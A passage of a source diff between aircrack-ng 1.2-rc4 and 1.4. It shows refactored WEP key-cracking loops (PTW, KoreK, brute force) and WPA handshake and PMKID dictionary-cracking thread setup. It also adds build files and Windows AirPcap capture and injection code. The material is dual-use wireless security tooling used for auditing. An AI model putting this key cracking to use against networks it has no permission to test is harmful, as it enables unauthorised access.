+							   "Usually, 104-bit WEP\n"
+							   "       can be cracked with about 80 000 IVs, "
+							   "sometimes more.\n\n"
+							   "     * Try to raise the fudge factor (-f).\n");
+						ret = 0;
 					}
 
-					if(ret)
+					if (ret)
 					{
 						opt.next_ptw_try += PTW_TRY_STEP;
-						printf("Failed. Next try with %d IVs.\n", opt.next_ptw_try);
+						printf("Failed. Next try with %d IVs.\n",
+							   opt.next_ptw_try);
 					}
 				}
-				if(ret)
-					usleep(10000);
-			}while(ret != 0);
+				if (ret) usleep(10000);
+			} while (ret != 0);
 		}
-		else if(opt.dict != NULL)
+
+		else if (opt.dict != NULL)
 		{
 			ret = crack_wep_dict();
 		}
 		else
 		{
-			for( i = 0; i < opt.nbcpu; i++ )
+			for (i = 0; i < opt.nbcpu; i++)
 			{
 				/* start one thread per cpu */
 
-				if (opt.amode<=1 && opt.nbcpu>1 && opt.do_brute && opt.do_mt_brute)
+				if (opt.amode <= 1 && opt.nbcpu > 1 && opt.do_brute
+					&& opt.do_mt_brute)
 				{
-					if (pthread_create( &(tid[id]), NULL, (void *) inner_bruteforcer_thread,
-						(void *) (long) i ) != 0)
+					if (pthread_create(&(tid[id]),
+									   NULL,
+									   (void *) inner_bruteforcer_thread,
+									   (void *) (long) i)
+						!= 0)
 					{
-						perror( "pthread_create failed" );
+						perror("pthread_create failed");
 						goto exit_main;
 					}
 					id++;
 				}
 
-				if( pthread_create( &(tid[id]), NULL, (void *) crack_wep_thread,
-					(void *) (long) i ) != 0 )
+				if (pthread_create(&(tid[id]),
+								   NULL,
+								   (void *) crack_wep_thread,
+								   (void *) (long) i)
+					!= 0)
 				{
-					perror( "pthread_create failed" );
+					perror("pthread_create failed");
 					goto exit_main;
 				}
 				id++;
 			}
 
-			if( ! opt.do_testy )
+			if (!opt.do_testy)
 			{
-				do   { ret = do_wep_crack1( 0 ); }
-				while( ret == RESTART );
+				do
+				{
+					ret = do_wep_crack1(0);
+				} while (ret == RESTART);
 
-				if( ret == FAILURE )
+				if (ret == FAILURE)
 				{
-					printf( "   Attack failed. Possible reasons:\n\n"
-						"     * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n"
-						"       can be cracked with about one million IVs, sometimes more.\n\n"
-						"     * If all votes seem equal, or if there are many negative votes,\n"
-						"       then the capture file is corrupted, or the key is not static.\n\n"
-						"     * A false positive prevented the key from being found.  Try to\n"
-						"       disable each korek attack (-k 1 .. 17), raise the fudge factor\n"
-						"       (-f)" );
+					printf("   Attack failed. Possible reasons:\n\n"
+						   "     * Out of luck: you must capture more IVs. "
+						   "Usually, 104-bit WEP\n"
+						   "       can be cracked with about one million IVs, "
+						   "sometimes more.\n\n"
+						   "     * If all votes seem equal, or if there are "
+						   "many negative votes,\n"
+						   "       then the capture file is corrupted, or the "
+						   "key is not static.\n\n"
+						   "     * A false positive prevented the key from "
+						   "being found.  Try to\n"
+						   "       disable each korek attack (-k 1 .. 17), "
+						   "raise the fudge factor\n"
+						   "       (-f)");
 					if (opt.do_testy)
-						printf( "and try the experimental bruteforce attacks (-y)." );
-					printf( "\n" );
+						printf("and try the experimental bruteforce attacks "
+							   "(-y).");
+					printf("\n");
 				}
 			}
 			else
 			{
-				for( i = opt.keylen - 3; i < opt.keylen - 2; i++ )
+				for (i = opt.keylen - 3; i < opt.keylen - 2; i++)
 				{
-					do   { ret = do_wep_crack2( i ); }
-					while( ret == RESTART );
+					do
+					{
+						ret = do_wep_crack2(i);
+					} while (ret == RESTART);
 
-					if( ret == SUCCESS )
-						break;
+					if (ret == SUCCESS) break;
 				}
 
-				if( ret == FAILURE )
+				if (ret == FAILURE)
 				{
-					printf( "   Attack failed. Possible reasons:\n\n"
-						"     * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n"
-						"       can be cracked with about one million IVs, sometimes more.\n\n"
-						"     * If all votes seem equal, or if there are many negative votes,\n"
-						"       then the capture file is corrupted, or the key is not static.\n\n"
-						"     * A false positive prevented the key from being found.  Try to\n"
-						"       disable each korek attack (-k 1 .. 17), raise the fudge factor\n"
-						"       (-f)" );
+					printf("   Attack failed. Possible reasons:\n\n"
+						   "     * Out of luck: you must capture more IVs. "
+						   "Usually, 104-bit WEP\n"
+						   "       can be cracked with about one million IVs, "
+						   "sometimes more.\n\n"
+						   "     * If all votes seem equal, or if there are "
+						   "many negative votes,\n"
+						   "       then the capture file is corrupted, or the "
+						   "key is not static.\n\n"
+						   "     * A false positive prevented the key from "
+						   "being found.  Try to\n"
+						   "       disable each korek attack (-k 1 .. 17), "
+						   "raise the fudge factor\n"
+						   "       (-f)");
 					if (opt.do_testy)
-						printf( "or try the standard attack mode instead (no -y option)." );
-					printf( "\n" );
+						printf("or try the standard attack mode instead (no -y "
+							   "option).");
+					printf("\n");
 				}
 			}
 		}
 	}
 
-	if( ap_cur->crypt == 3 )
+	if (ap_cur->crypt >= 3)
 	{
-		crack_wpa:
+	crack_wpa:
+		dso_ac_crypto_engine_init(&engine);
 
-#ifdef HAVE_SQLITE
-		if (opt.dict == NULL && db == NULL) goto nodict;
-#else
-		if ( opt.dict == NULL )
-			goto nodict;
-#endif
+		cpuset = ac_cpuset_new();
+		ac_cpuset_init(cpuset);
+		ac_cpuset_distribute(cpuset, opt.nbcpu);
 
-		ap_cur = ap_1st;
-
-		while( ap_cur != NULL )
+		if (opt.dict == NULL && db == NULL)
 		{
-			if( ap_cur->target && ap_cur->wpa.state == 7 )
-				break;
-
-			ap_cur = ap_cur->next;
+			goto nodict;
 		}
 
-		if( ap_cur == NULL )
+		ap_cur = get_first_target();
+
+		if (ap_cur == NULL)
 		{
-			printf( "No valid WPA handshakes found.\n" );
+			printf("No valid WPA handshakes found.\n");
 			goto exit_main;
 		}
 
-		if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set )
+		if (memcmp(ap_cur->essid, ZERO, 32) == 0 && !opt.essid_set)
 		{
-			printf( "An ESSID is required. Try option -e.\n" );
+			printf("An ESSID is required. Try option -e.\n");
 			goto exit_main;
 		}
 
-		if( opt.essid_set && ap_cur->essid[0] == '\0' )
+		if (opt.essid_set && ap_cur->essid[0] == '\0')
 		{
-			memset(  ap_cur->essid, 0, sizeof( ap_cur->essid ) );
-			strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 );
+			memset(ap_cur->essid, 0, sizeof(ap_cur->essid));
+			strncpy(ap_cur->essid, opt.essid, sizeof(ap_cur->essid) - 1);
 		}
-#ifdef HAVE_SQLITE
-		if (db == NULL) {
-#endif
 
-			for( i = 0; i < opt.nbcpu; i++ )
+		dso_ac_crypto_engine_set_essid(&engine, (uint8_t *) ap_cur->essid);
+
+		if (db == NULL)
+		{
+			int starting_thread_id = id;
+
+			for (i = 0; i < opt.nbcpu; i++)
 			{
-				if (ap_cur->ivbuf_size) {
+				if (ap_cur->ivbuf_size)
+				{
 					free(ap_cur->ivbuf);
-					ap_cur->ivbuf		= NULL;
-					ap_cur->ivbuf_size	= 0;
+					ap_cur->ivbuf = NULL;
+					ap_cur->ivbuf_size = 0;
 				}
 
-				uniqueiv_wipe( ap_cur->uiv_root );
+				uniqueiv_wipe(ap_cur->uiv_root);
 				ap_cur->uiv_root = NULL;
 				ap_cur->nb_ivs = 0;
 
+				// assumption: an eapol exists.
+				assert(ap_cur->wpa.state > 0);
+
 				/* start one thread per cpu */
 				wpa_data[i].ap = ap_cur;
 				wpa_data[i].thread = i;
 				wpa_data[i].threadid = id;
 				wpa_data[i].nkeys = 17;
-				wpa_data[i].key_buffer = (char*) malloc(wpa_data[i].nkeys * 128);
+				wpa_data[i].key_buffer
+					= (char *) malloc(wpa_data[i].nkeys * 128);
 				wpa_data[i].front = 0;
 				wpa_data[i].back = 0;
 				memset(wpa_data[i].key, 0, sizeof(wpa_data[i].key));
 				pthread_cond_init(&wpa_data[i].cond, NULL);
 				pthread_mutex_init(&wpa_data[i].mutex, NULL);
 
-				if( pthread_create( &(tid[id]), NULL, (void *) crack_wpa_thread,
-					(void *) &(wpa_data[i]) ) != 0 )
+				if (pthread_create(&(tid[id]),
+								   NULL,
+								   (void *) (ap_cur->wpa.state == 7
+												 ? crack_wpa_thread
+												 : crack_wpa_pmkid_thread),
+								   (void *) &(wpa_data[i]))
+					!= 0)
 				{
-					perror( "pthread_create failed" );
+					perror("pthread_create failed");
 					goto exit_main;
 				}
 
-#ifdef pthread_setaffinity_np
-				// set affinity to one processor
-				cpu_set_t cpuset;
-				CPU_ZERO(&cpuset);
-				CPU_SET(i, &cpuset);
-				pthread_setaffinity_np(tid[id], sizeof(cpu_set_t), &cpuset);
-#endif
+				ac_cpuset_bind_thread_at(cpuset, tid[id], i);
 
 				id++;
 			}
 
-			ret = do_wpa_crack();	// we feed keys to the cracking threads
-			wpa_wordlists_done = 1; // we tell the threads that they shouldn't expect more words (don't wait for parallel crack)
+			ret = do_wpa_crack(); // we feed keys to the cracking threads
+			wpa_wordlists_done = 1; // we tell the threads that they shouldn't
+			// expect more words (don't wait for
+			// parallel crack)
 
-			for( i = 0; i < opt.nbcpu; i++ ) // we wait for the cracking threads to end
-				pthread_join(tid[--id], NULL);
+			// we wait for the cracking threads to end
+			for (i = starting_thread_id; i < opt.nbcpu + starting_thread_id;
+				 i++)
+				if (tid[i] != 0)
+				{
+					if (pthread_join(tid[i], NULL) != 0) perror("pthread_join");
+					tid[i] = 0;
+				}
 
-			for( i = 0; i < opt.nbcpu; i++ )
+			for (i = 0; i < opt.nbcpu; i++)
 			{
 				if (wpa_data[i].key[0] != 0)
 				{
@@ -6237,95 +6790,116 @@
 				}
 			}
 
-			if (ret==SUCCESS)
+			if (ret == SUCCESS)
 			{
-				if( opt.is_quiet )
+				if (opt.is_quiet)
 				{
-					printf( "KEY FOUND! [ %s ]\n", wpa_data[i].key );
-					clean_exit( SUCCESS );
+					printf("KEY FOUND! [ %s ]\n", wpa_data[i].key);
+					clean_exit(SUCCESS);
 				}
 
-				if( opt.l33t )
-					printf( "\33[31;1m" );
+				if (opt.l33t)
+				{
+					textstyle(TEXT_BRIGHT);
+					textcolor_fg(TEXT_RED);
+				}
 
-				printf( "\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n",
-					( 80 - 15 - (int) strlen(wpa_data[i].key) ) / 2, wpa_data[i].key );
+				moveto((80 - 15 - (int) strlen(wpa_data[i].key)) / 2, 8);
+				erase_line(2);
+				printf("KEY FOUND! [ %s ]\n", wpa_data[i].key);
+				move(CURSOR_DOWN, 11);
 
-				if( opt.l33t )
-					printf( "\33[32;22m" );
+				if (opt.l33t)
+				{
+					textcolor_normal();
+					textcolor_fg(TEXT_GREEN);
+				}
 
-				clean_exit( SUCCESS );
-			} else {
-				printf("%sPassphrase not in dictionary\n", (opt.is_quiet?"":"\n"));
+				clean_exit(SUCCESS);
+			}
+			else
+			{
+				printf("%sPassphrase not in dictionary\n",
+					   (opt.is_quiet ? "" : "\n"));
 
-				if (opt.is_quiet)
-					clean_exit( FAILURE );
+				if (opt.is_quiet) clean_exit(FAILURE);
 
 				if (opt.stdin_dict)
-					printf("\33[5;30H %lld",nb_tried);
-				else {
-					printf("\33[4;18H%lld/%lld keys tested ", nb_tried, opt.wordcount);
-					printf("\33[6;7HTime left: ");
-					calctime(0, ((float)nb_tried / (float)opt.wordcount)*100);
+				{
+					moveto(30, 5);
+					printf(" %lld", nb_tried);
+				}
+				else
+				{
+					moveto(18, 4);
+					printf("%lld/%lld keys tested ", nb_tried, opt.wordcount);
+					moveto(7, 6);
+					printf("Time left: ");
+					calctime(0,
+							 ((float) nb_tried / (float) opt.wordcount) * 100);
 				}
 
-				printf("\33[32;0H\n");
+				moveto(1, 32);
 			}
 
 			printf("\n");
-
+		}
 #ifdef HAVE_SQLITE
-		} else {
-			if( ! opt.is_quiet && !_speed_test) {
-				if( opt.l33t )
-					printf( "\33[37;40m" );
-					printf( "\33[2J" );
-				if( opt.l33t )
-					printf( "\33[34;1m" );
-			printf("\33[2;34H%s",progname);
-			}
-			sql = sqlite3_mprintf(sqlformat,ap_cur->essid);
-			while (1) {
-				rc = sqlite3_exec(db,sql,sql_wpacallback,ap_cur,&zErrMsg);
-				if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) {
-					fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c    \r",++waited, looper[looperc]);
+		else
+		{
+			if (!opt.is_quiet && !_speed_test)
+			{
+				if (opt.l33t) textcolor(TEXT_RESET, TEXT_WHITE, TEXT_BLACK);
+				erase_line(2);
+				if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_BLUE, TEXT_BLACK);
+				moveto(34, 2);
+				printf("%s", progname);
+			}
+			sql = sqlite3_mprintf(sqlformat, ap_cur->essid);
+			while (1)
+			{
+				rc = sqlite3_exec(db, sql, sql_wpacallback, ap_cur, &zErrMsg);
+				if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
+				{
+					fprintf(
+						stdout,
+						"Database is locked or busy. Waiting %is ... %1c    \r",
+						++waited,
+						looper[looperc]);
 					fflush(stdout);
-					looperc = (looperc+1) % sizeof(looper);
+					looperc = (looperc + 1) % sizeof(looper);
 					sleep(1);
-				} else {
-					if (rc != SQLITE_OK && rc != SQLITE_ABORT ) {
+				}
+				else
+				{
+					if (rc != SQLITE_OK && rc != SQLITE_ABORT)
+					{
 						fprintf(stderr, "SQL error: %s\n", zErrMsg);
 						sqlite3_free(zErrMsg);
 					}
 					if (waited != 0) printf("\n\n");
+					wpa_wordlists_done = 1;
 					break;
 				}
 			}
 			sqlite3_free(sql);
-
 		}
-	#endif
+#endif
 	}
 
-	exit_main:
-
-#ifdef HAVE_SQLITE
-	if (db != NULL) {
-		sqlite3_close(db);
-	}
-#endif
+exit_main:
 
-	#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
+#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
 	_PGOPTI_Prof_Dump();
-	#endif
-	if( ! opt.is_quiet )
-		printf( "\n" );
+#endif
+	if (!opt.is_quiet) printf("\n");
 
-	fflush( stdout );
+	fflush(stdout);
 
-// 	if( ret == SUCCESS ) kill( 0, SIGQUIT );
-// 	if( ret == FAILURE ) kill( 0, SIGTERM );
+	// 	if( ret == SUCCESS ) kill( 0, SIGQUIT );
+	// 	if( ret == FAILURE ) kill( 0, SIGTERM );
 	clean_exit(ret);
+	/* not reached */
 
-	_exit( ret );
+	_exit(ret);
 }

aircrack-ng-1.2-rc4.tar.gz/src/aircrack-ng.h -> aircrack-ng-1.4.tar.gz/src/aircrack-ng.h Changed

aircrack-ng-1.4.tar.gz/src/aircrack-osdep Added

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/Makefile.am Added

@@ -0,0 +1,141 @@
+# Aircrack-ng
+#
+# Copyright (C) 2018 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+SUBDIRS = radiotap
+
+AM_CPPFLAGS = -I$(top_srcdir) \
+              -I$(top_srcdir)/src/include \
+              -I$(top_srcdir)/src \
+              $(LIBNL_CFLAGS)
+
+SRCS_COMMON = network.c file.c
+SRCS = osdep.c $(SRCS_COMMON)
+
+SRCS_APCAP = airpcap.c
+
+SRCS_OBSD = $(SRCS) openbsd.c openbsd_tap.c common.c
+SRCS_NBSD	= $(SRCS) netbsd.c netbsd_tap.c common.c
+SRCS_FBSD	= $(SRCS) freebsd.c freebsd_tap.c common.c
+SRCS_LINUX	= $(SRCS) linux.c linux_tap.c common.c
+SRCS_DUMMY	= $(SRCS) dummy.c dummy_tap.c common.c
+SRCS_CYGWIN	= $(SRCS) cygwin.c cygwin_tap.c common.c
+SRCS_DARWIN = $(SRCS) darwin.c darwin_tap.c common.c
+
+LIBRADIOTAP_LIBS = radiotap/libradiotap.la
+
+if AIRPCAP
+SRCS_CYGWIN    += $(SRCS_APCAP)
+endif
+
+if CYGWIN
+if AIRPCAP
+libaircrack_osdep_la_SOURCES = $(SRCS_CYGWIN)
+libaircrack_osdep_la_CFLAGS = $(AM_CPPFLAGS) $(AIRPCAP_CFLAGS)
+libaircrack_osdep_la_LIBADD = $(AIRPCAP_LIBS) $(LIBRADIOTAP_LIBS) -lsetupapi -liphlpapi
+else
+libaircrack_osdep_la_SOURCES = $(SRCS_CYGWIN)
+endif
+endif
+
+if DARWIN
+libaircrack_osdep_la_SOURCES = $(SRCS_DARWIN)
+endif
+
+if DUMMY
+libaircrack_osdep_la_SOURCES = $(SRCS_DUMMY)
+endif
+
+if FREEBSD
+libaircrack_osdep_la_SOURCES = $(SRCS_FBSD)
+endif
+
+if LINUX
+libaircrack_osdep_la_SOURCES = $(SRCS_LINUX)
+libaircrack_osdep_la_LIBADD = $(LIBNL_LIBS) $(LIBRADIOTAP_LIBS)
+endif
+
+if NETBSD
+libaircrack_osdep_la_SOURCES = $(SRCS_NBSD)
+endif
+
+if OPENBSD
+libaircrack_osdep_la_SOURCES = $(SRCS_OBSD)
+endif
+
+if !AIRPCAP
+libaircrack_osdep_la_LIBADD = $(LIBRADIOTAP_LIBS)
+if CYGWIN
+libaircrack_osdep_la_LIBADD += -lsetupapi -liphlpapi
+endif
+endif
+
+lib_LTLIBRARIES = libaircrack-osdep.la
+libaircrack_osdep_la_LDFLAGS = -release 1.3.0 -no-undefined
+
+EXTRA_DIST = openbsd.c \
+             darwin.c \
+             crctable_osdep.h \
+             common.c \
+             darwin_tap.c \
+             cygwin.c \
+             aircrack_ng_airpcap.h \
+             linux.c \
+             file.c \
+             network.h \
+             osdep.h \
+             byteorder.h \
+             linux_tap.c \
+             common.h \
+             airpcap.c \
+             cygwin.h \
+             netbsd.c \
+             packed.h \
+             freebsd_tap.c \
+             freebsd.c \
+             osdep.c \
+             dummy_tap.c \
+             openbsd_tap.c \
+             dummy.c \
+             netbsd_tap.c \
+             network.c \
+             cygwin_tap.c \
+             channel.h
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/aircrack_ng_airpcap.h Added

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/airpcap.c Added

@@ -0,0 +1,402 @@
+/*
+   *  Copyright (c) 2007-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+   *
+   *  Airpcap stuff
+   *
+   *  This program is free software; you can redistribute it and/or modify
+   *  it under the terms of the GNU General Public License as published by
+   *  the Free Software Foundation; either version 2 of the License, or
+   *  (at your option) any later version.
+   *
+   *  This program is distributed in the hope that it will be useful,
+   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   *  GNU General Public License for more details.
+   *
+   *  You should have received a copy of the GNU General Public License
+   *  along with this program; if not, write to the Free Software
+   *
+   * In addition, as a special exception, the copyright holders give
+   * permission to link the code of portions of this program with the
+   * OpenSSL library under certain conditions as described in each
+   * individual source file, and distribute linked combinations
+   * including the two.
+   * You must obey the GNU General Public License in all respects
+   * for all of the code used other than OpenSSL.  If you modify
+   * file(s) with this exception, you may extend this exception to your
+   * version of the file(s), but you are not obligated to do so.  If you
+   * do not wish to do so, delete this exception statement from your
+   * version.  If you delete this exception statement from all source
+   * files in the program, then also delete it here.
+   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+   */
+#ifdef HAVE_AIRPCAP
+
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <ctype.h>
+#include <windows.h>
+#include <airpcap.h>
+
+#include "osdep.h"
+
+//------------------ PPI ---------------------
+#define PPH_PH_VERSION ((u_int8_t) 0x00)
+#define PPI_FIELD_TYPE_802_11_COMMON ((u_int16_t) 0x02)
+
+typedef struct _PPI_PACKET_HEADER
+{
+	u_int8_t PphVersion;
+	u_int8_t PphFlags;
+	u_int16_t PphLength;
+	u_int32_t PphDlt;
+} PPI_PACKET_HEADER, *PPPI_PACKET_HEADER;
+
+typedef struct _PPI_FIELD_HEADER
+{
+	u_int16_t PfhType;
+	u_int16_t PfhLength;
+} PPI_FIELD_HEADER, *PPPI_FIELD_HEADER;
+
+typedef struct _PPI_FIELD_802_11_COMMON
+{
+	u_int64_t TsfTimer;
+	u_int16_t Flags;
+	u_int16_t Rate;
+	u_int16_t ChannelFrequency;
+	u_int16_t ChannelFlags;
+	u_int8_t FhssHopset;
+	u_int8_t FhssPattern;
+	int8_t DbmAntSignal;
+	int8_t DbmAntNoise;
+} PPI_FIELD_802_11_COMMON, *PPPI_FIELD_802_11_COMMON;
+
+#define DEVICE_PREFIX "\\\\.\\"
+#define DEVICE_COMMON_PART "airpcap"
+
+PAirpcapHandle airpcap_handle;
+
+/**
+ * Check if the device is an Airpcap device
+ * @param iface Interface name
+ * @return 1 if it is an Airpcap device, 0 if not
+ */
+int isAirpcapDevice(const char * iface)
+{
+	char * pos;
+	int len;
+
+	pos = strstr(iface, DEVICE_COMMON_PART);
+
+	// Check if it contains "airpcap"
+	if (!pos) return 0;
+
+	if (pos != iface)
+	{
+		// Check if it begins with '\\.\'
+		if (strstr(iface, AIRPCAP_DEVICE_NAME_PREFIX) != iface) return 0;
+	}
+
+	len = strlen(iface);
+
+	// Checking that it contains 2 figures at the end.
+	// No need to check for length, it was already done by the first check
+	if (!(isdigit((int) iface[len - 1])) || !(isdigit((int) iface[len - 2])))
+		return 0;
+
+	return 1;
+}
+
+/**
+ * Parse information from a PPI packet (will be used later).
+ * @param p packet
+ * @param caplen Length of the packet
+ * @param hdrlen Length of the header
+ * @param power pointer that will contains the power of the packet
+ * @return 0 if successful decoding, 1 if it failed to decode
+ */
+int ppi_decode(const u_char * p, int caplen, int * hdrlen, int * power)
+{
+	PPPI_PACKET_HEADER pPpiPacketHeader;
+	PPPI_FIELD_HEADER pFieldHeader;
+	ULONG position = 0;
+
+	// Sanity checks
+	if (caplen < (int) sizeof(*pPpiPacketHeader))
+	{
+		// Packet smaller than the PPI fixed header
+		return (1);
+	}
+
+	pPpiPacketHeader = (PPPI_PACKET_HEADER) p;
+
+	*hdrlen = pPpiPacketHeader->PphLength;
+
+	if (caplen < *hdrlen)
+	{
+		// Packet smaller than the PPI fixed header
+		return (1);
+	}
+
+	position = sizeof(*pPpiPacketHeader);
+
+	if (pPpiPacketHeader->PphVersion != PPH_PH_VERSION)
+	{
+		fprintf(stderr,
+				"Unknown PPI packet header version (%u)\n",
+				pPpiPacketHeader->PphVersion);
+		return (1);
+	}
+
+	do
+	{
+		// now we suppose to have an 802.11-Common header
+		if (*hdrlen < (int) (sizeof(*pFieldHeader) + position))
+		{
+			break;
+		}
+
+		pFieldHeader = (PPPI_FIELD_HEADER)(p + position);
+		position += sizeof(*pFieldHeader);
+
+		switch (pFieldHeader->PfhType)
+		{
+			case PPI_FIELD_TYPE_802_11_COMMON:
+				if (pFieldHeader->PfhLength != sizeof(PPI_FIELD_802_11_COMMON)
+					|| caplen - position < sizeof(PPI_FIELD_802_11_COMMON))
+				{
+					// the header is bogus, just skip it
+					fprintf(stderr,
+							"Bogus 802.11-Common Field. Skipping it.\n");
+				}
+				else
+				{
+					PPPI_FIELD_802_11_COMMON pField
+						= (PPPI_FIELD_802_11_COMMON)(p + position);
+
+					if (pField->DbmAntSignal != -128)
+					{
+						*power = (int) pField->DbmAntSignal;
+					}
+					else
+					{
+						*power = 0;
+					}
+				}
+				break;
+
+			default:
+				// we do not know this field. Just print type and length and
+				// skip
+				break;
+		}
+
+		position += pFieldHeader->PfhLength;
+	} while (TRUE);
+
+	return (0);
+}
+
+/**
+ * Set MAC Address of the device
+ * @param mac MAC Address
+ * @return 0 (successful)
+ */
+int airpcap_set_mac(void * mac)
+{
+	if (mac)
+	{
+	}
+	return 0;
+}
+
+/**
+ * Close device
+ */
+void airpcap_close(void)
+{
+	// By default, when plugged in, the adapter is set in monitor mode;
+	// Application may assume it's already in monitor mode and forget to set it
+	// So, do not remove monitor mode.
+	if (airpcap_handle != NULL)
+	{
+		AirpcapClose(airpcap_handle);
+		airpcap_handle = NULL;
+	}
+}
+
+/**
+ * Get MAC Address of the device (not yet implemented)
+ * @param mac It will contain the mac address
+ * @return 0 (successful)
+ */
+int airpcap_get_mac(void * mac)
+{
+	// Don't use the function from Airpcap
+	if (mac)
+	{
+	}
+
+	return 0;
+}
+
+/**
+ * Capture one packet
+ * @param buf Buffer for the packet
+ * @param len Length of the buffer
+ * @param ri Receive information
+ * @return -1 if failure or the number of bytes received
+ */
+int airpcap_sniff(void * buf, int len, struct rx_info * ri)
+{
+	// Use PPI headers to obtain the different information for ri
+	// Use AirpcapConvertFrequencyToChannel() to get channel
+	// Add an option to give frequency instead of channel
+	UINT BytesReceived = 0;
+
+	if (ri)
+	{
+	}
+	// Wait for the next packet
+	// Maybe add an event packets to read
+	// WaitForSingleObject(ReadEvent, INFINITE);
+
+	// Read a packet
+	if (AirpcapRead(airpcap_handle, buf, len, &BytesReceived))
+		return (int) BytesReceived;
+
+	return -1;
+}
+
+/**
+ * Inject one packet
+ * @param buf Buffer for the packet
+ * @param len Length of the buffer
+ * @param ti Transmit information
+ * @return -1 if failure or the number of bytes sent
+ */
+int airpcap_inject(void * buf, int len, struct tx_info * ti)
+{
+	if (ti)
+	{
+	}
+	if (AirpcapWrite(airpcap_handle, buf, len) != 1) return -1;
+
+	return len;
+}
+
+/**
+ * Print the error message
+ * @param err Contains the error message and a %s in order to show the Airpcap
+ * error
+ * @param retValue Value returned by the function
+ * @return retValue
+ */
+int printErrorCloseAndReturn(const char * err, int retValue)
+{
+	if (err && airpcap_handle)
+	{
+		if (strlen(err))
+		{
+			if (airpcap_handle)
+				fprintf(stderr, err, AirpcapGetLastError(airpcap_handle));
+			else
+				fprintf(stderr, "%s", err);
+		}
+	}
+
+	airpcap_close();
+
+	return retValue;
+}
+
+/**
+ * Initialize the device
+ * @param param Parameters for the initialization
+ * @return 0 if successful, -1 in case of failure
+ */
+int airpcap_init(char * param)
+{
+	// Later: if several interfaces are given, aggregate them.
+
+	char * iface;
+	char errbuf[AIRPCAP_ERRBUF_SIZE];
+
+	iface = (char *) calloc(1, strlen(param) + 100);
+
+	if (param)
+	{
+		// if it's empty, use the default adapter
+		if (strlen(param) > 0)
+		{
+			if (strstr(param, DEVICE_PREFIX) == NULL)
+			{
+				// Not found, add it
+
+				strcpy(iface, DEVICE_PREFIX);
+				strcat(iface, param);
+			}
+			else
+			{
+				// Already contains the adapter header
+				strcpy(iface, param);
+			}
+		}
+	}
+
+	airpcap_handle = AirpcapOpen(iface, errbuf);
+
+	if (airpcap_handle == NULL)
+	{
+		fprintf(stderr,
+				"This adapter doesn't have wireless extensions. Quitting\n");
+		// pcap_close( winpcap_adapter );
+		return (-1);
+	}
+
+	/* Tell the adapter that the packets we'll send and receive don't include
+	 * the FCS */
+	if (!AirpcapSetFcsPresence(airpcap_handle, FALSE))
+		return printErrorCloseAndReturn("Error setting FCS presence: %s\n", -1);
+
+	/* Set the link layer to bare 802.11 */
+	if (!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11))
+		return printErrorCloseAndReturn("Error setting the link type: %s\n",
+										-1);
+
+	/* Accept correct frames only */
+	if (!AirpcapSetFcsValidation(airpcap_handle,
+								 AIRPCAP_VT_ACCEPT_CORRECT_FRAMES))
+		return printErrorCloseAndReturn("Error setting FCS validation: %s\n",
+										-1);
+
+	/* Set a low mintocopy for better responsiveness */
+	if (!AirpcapSetMinToCopy(airpcap_handle, 1))
+		return printErrorCloseAndReturn("Error setting MinToCopy: %s\n", -1);
+
+	return 0;
+}
+
+/**
+ * Set device channel
+ * @param chan Channel
+ * @return 0 if successful, -1 if it failed
+ */
+int airpcap_set_chan(int chan)
+{
+	// Make sure a valid channel is given
+	if (chan <= 0) return -1;
+
+	if (!AirpcapSetDeviceChannel(airpcap_handle, chan))
+	{
+		printf("Error setting the channel to %d: %s\n",
+			   chan,
+			   AirpcapGetLastError(airpcap_handle));
+		return -1;
+	}
+
+	return 0;
+}
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/byteorder.h Added

@@ -0,0 +1,446 @@
+/*
+ *  Compatibility header
+ *
+ *  Copyright (C) 2009-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
